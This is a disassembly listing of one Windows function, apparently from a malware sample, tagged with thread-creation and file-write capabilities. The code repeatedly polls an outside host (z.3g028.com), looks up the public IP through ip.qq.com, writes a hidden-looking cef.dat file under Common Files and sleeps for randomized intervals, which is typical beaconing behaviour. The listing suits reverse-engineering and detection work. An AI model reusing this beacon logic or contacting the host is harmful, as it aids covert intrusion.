Function at 0x401d50
Capabilities:
Create thread
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x4292f4]
xor eax, esp
mov dword [esp + 0x48], eax
mov ecx, dword [ebp + 0x10]
push ebx
push esi
mov eax, ecx
push edi
mov dword [esp + 0x50], 0xf
mov dword [esp + 0x4c], 0
mov byte [esp + 0x3c], 0
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401d84
sub eax, esi
push eax
push ecx
lea ecx, [esp + 0x40]
call fcn.00405030
push 7
push str.console
lea eax, [esp + 0x40]
push eax
xor esi, esi
call fcn.004041e0
cmp eax, 0xffffffff
je 0x401db5
mov esi, 1
push 0
call fcn.0040ad27
add esp, 4
push eax
call fcn.0040ad78
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
test esi, esi
je 0x401e0d
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call fcn.0040a303
add eax, 0x20
push eax
push 0x425754
push str.CONOUT_
call fcn.0040ae85
add esp, 0xc
call fcn.0040a303
push eax
push 0x425760
push str.CONIN_
call fcn.0040ae85
add esp, 0xc
jmp 0x401e14
push 0x186a0
call ebx
mov ecx, str.http:__z.3g028.com_z_test.html
call fcn.00401100
test eax, eax
jne 0x401e37
push 0x493e0
call ebx
mov ecx, str.http:__z.3g028.com_z_test.html
call fcn.00401100
test eax, eax
je 0x401e22
call fcn.00407270
push 0
push 0
push 0
push 0x403000
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.start
push 0x42bac8
call fcn.00406600
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403430
mov ecx, dword [esi]
mov edx, dword [ecx + 4]
lea eax, [edx + esi]
xor edi, edi
test byte [eax + 8], 6
jne 0x401e94
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x401e94
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401eb5
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x401ead
or eax, 4
push 0
push eax
call fcn.004019b0
mov eax, 0x425774
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401ec0
sub eax, edx
mov ecx, str.http:__z.3g028.com_z_test.html
mov dword [esp + 0x18], eax
call fcn.00401100
test eax, eax
jne 0x401ef5
jmp 0x401ee0
push 0x493e0
call ebx
mov ecx, str.http:__z.3g028.com_z_test.html
call fcn.00401100
test eax, eax
je 0x401ee0
mov ecx, str.http:__ip.qq.com_
call fcn.00401100
mov dword [esp + 0x14], eax
test eax, eax
je 0x4021b9
mov ebx, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401f10
sub eax, edx
push eax
push ecx
push 0x4257ac
push 0x42bac8
call fcn.00406600
add esp, 0xc
push eax
call fcn.004032b0
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403430
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor edi, edi
test byte [eax + 8], 6
jne 0x401f63
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x401f63
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401f84
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x401f7c
or eax, 4
push 0
push eax
call fcn.004019b0
mov eax, ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401f90
sub eax, edx
mov edx, dword [esp + 0x18]
mov edi, eax
xor ecx, ecx
test edi, edi
jle 0x401fcd
xor eax, eax
test edx, edx
jle 0x401fc4
lea esi, [ecx + ebx]
mov edi, edi
mov bl, byte [esi + eax]
cmp bl, byte [eax + 0x425774]
jne 0x401fc0
inc eax
cmp eax, edx
jl 0x401fb0
mov ebx, dword [esp + 0x14]
cmp eax, edx
je 0x401fcd
inc ecx
cmp ecx, edi
jl 0x401fa5
add ecx, edx
add ebx, ecx
mov dword [esp + 0x14], ebx
xor edi, edi
cmp byte [edi + ebx], 0x3c
jne 0x401fe1
mov byte [edi + ebx], 0
inc edi
cmp edi, 0x12
jl 0x401fd7
mov eax, dword [esp + 0x14]
push eax
push 0x42bac8
mov dword [0x42bc50], eax
call fcn.00406600
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403430
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor ebx, ebx
test byte [eax + 8], 6
jne 0x40202e
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x40202e
mov ebx, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test ebx, ebx
je 0x40204f
mov eax, dword [ecx + 8]
or eax, ebx
cmp dword [ecx + 0x28], 0
jne 0x402047
or eax, 4
push 0
push eax
call fcn.004019b0
mov ebx, dword [esp + 0x14]
add ebx, edi
mov eax, ebx
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402060
sub eax, edx
mov dword [esp + 0x18], eax
mov eax, 0x4257bc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402075
sub eax, edx
xor edi, edi
cmp dword [esp + 0x18], edi
mov esi, eax
jle 0x4020ac
xor eax, eax
test esi, esi
jle 0x4020a1
lea ecx, [edi + ebx]
mov dl, byte [ecx]
cmp dl, byte [eax + 0x4257bc]
jne 0x4020a1
inc eax
inc ecx
cmp eax, esi
jl 0x402091
cmp eax, esi
je 0x4020ac
inc edi
cmp edi, dword [esp + 0x18]
jl 0x402088
add edi, esi
add ebx, edi
mov byte [ebx + 0x28], 0
mov eax, ebx
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], 0
mov byte [esp + 0x20], 0
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4020d0
sub eax, edx
push eax
push ebx
lea ecx, [esp + 0x24]
call fcn.00405030
xor esi, esi
jmp 0x4020f0
mov edx, dword [esi*4 + 0x42a408]
mov eax, edx
lea edi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402100
sub eax, edi
push eax
push edx
lea eax, [esp + 0x24]
push eax
call fcn.004041e0
cmp eax, 0xffffffff
je 0x402120
mov dword [0x42cfe0], esi
inc esi
cmp esi, 0x195
jl 0x4020f0
mov ecx, dword [0x42cfe0]
mov edx, dword [ecx*4 + 0x42a408]
push edx
push ecx
push str.dizhi:
push 0x42bac8
call fcn.00406600
add esp, 0xc
push eax
call fcn.00406600
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403430
mov eax, dword [esi]
mov ecx, dword [eax + 4]
lea eax, [ecx + esi]
xor edi, edi
test byte [eax + 8], 6
jne 0x402184
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x402184
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x4021a5
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x40219d
or eax, 4
push 0
push eax
call fcn.004019b0
cmp dword [esp + 0x34], 0x10
jb 0x4021b9
mov edx, dword [esp + 0x20]
push edx
call fcn.0040a647
add esp, 4
lea eax, [esp + 0x13]
push eax
mov byte [esp + 0x17], 0
call fcn.00401c80
add esp, 4
mov dword [0x42bc54], eax
call fcn.00402460
mov ebx, eax
cmp ebx, 0xffffffff
jle 0x402248
push 0x4257d0
push 0x42bac8
call fcn.00406600
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403430
mov ecx, dword [esi]
mov edx, dword [ecx + 4]
lea eax, [edx + esi]
xor edi, edi
test byte [eax + 8], 6
jne 0x40221f
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x40221f
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x402240
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x402238
or eax, 4
push 0
push eax
call fcn.004019b0
push 0
push ebx
jmp 0x40233a
call fcn.0040ad8a
cdq
mov ecx, 0x64
idiv ecx
cmp edx, 0x19
jge 0x4022ca
cmp byte [esp + 0x13], 0
jne 0x4022ca
push 0x4257e0
push 0x42bac8
call fcn.00406600
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403430
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor edi, edi
test byte [eax + 8], 6
jne 0x4022a3
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x4022a3
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x4022c4
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x4022bc
or eax, 4
push 0
push eax
call fcn.004019b0
push 0
push 0
jmp 0x402331
push 0x4257ec
push 0x42bac8
call fcn.00406600
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403430
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor edi, edi
test byte [eax + 8], 6
jne 0x40230c
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x40230c
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40232d
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x402325
or eax, 4
push 0
push eax
call fcn.004019b0
push 1
push 1
call fcn.00402d30
add esp, 4
push eax
call fcn.00402500
mov edi, dword [0x42bc54]
add esp, 8
push 0x42469c
push str.C:Program_FilesCommon_FilesSystemcef.dat
call fcn.00409f95
mov esi, eax
add esp, 8
test esi, esi
je 0x402377
push esi
push 0x6c0
push 1
push edi
call fcn.0040a10e
push esi
call fcn.0040a207
add esp, 0x14
mov edx, dword [0x42bc54]
push edx
call fcn.0040a647
add esp, 4
call fcn.0040ad8a
cdq
mov ecx, 5
idiv ecx
mov esi, edx
shl esi, 4
sub esi, edx
add esi, esi
call fcn.0040ad8a
cdq
mov ecx, 0x2d
idiv ecx
mov edi, edx
add edi, esi
imul edi, edi, 0xea60
call fcn.0040ad8a
cdq
mov ecx, 0x2710
idiv ecx
mov ebx, edx
add ebx, edi
push ebx
push ecx
push 0x4257f8
push 0x42bac8
call fcn.00406600
add esp, 0xc
push eax
call fcn.00403130
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403430
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor edi, edi
test byte [eax + 8], 6
jne 0x40240e
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x40240e
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40242f
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x402427
or eax, 4
push 0
push eax
call fcn.004019b0
mov eax, dword [0x42bc4c]
test eax, eax
jne 0x40244a
push ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401eb5
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401eb5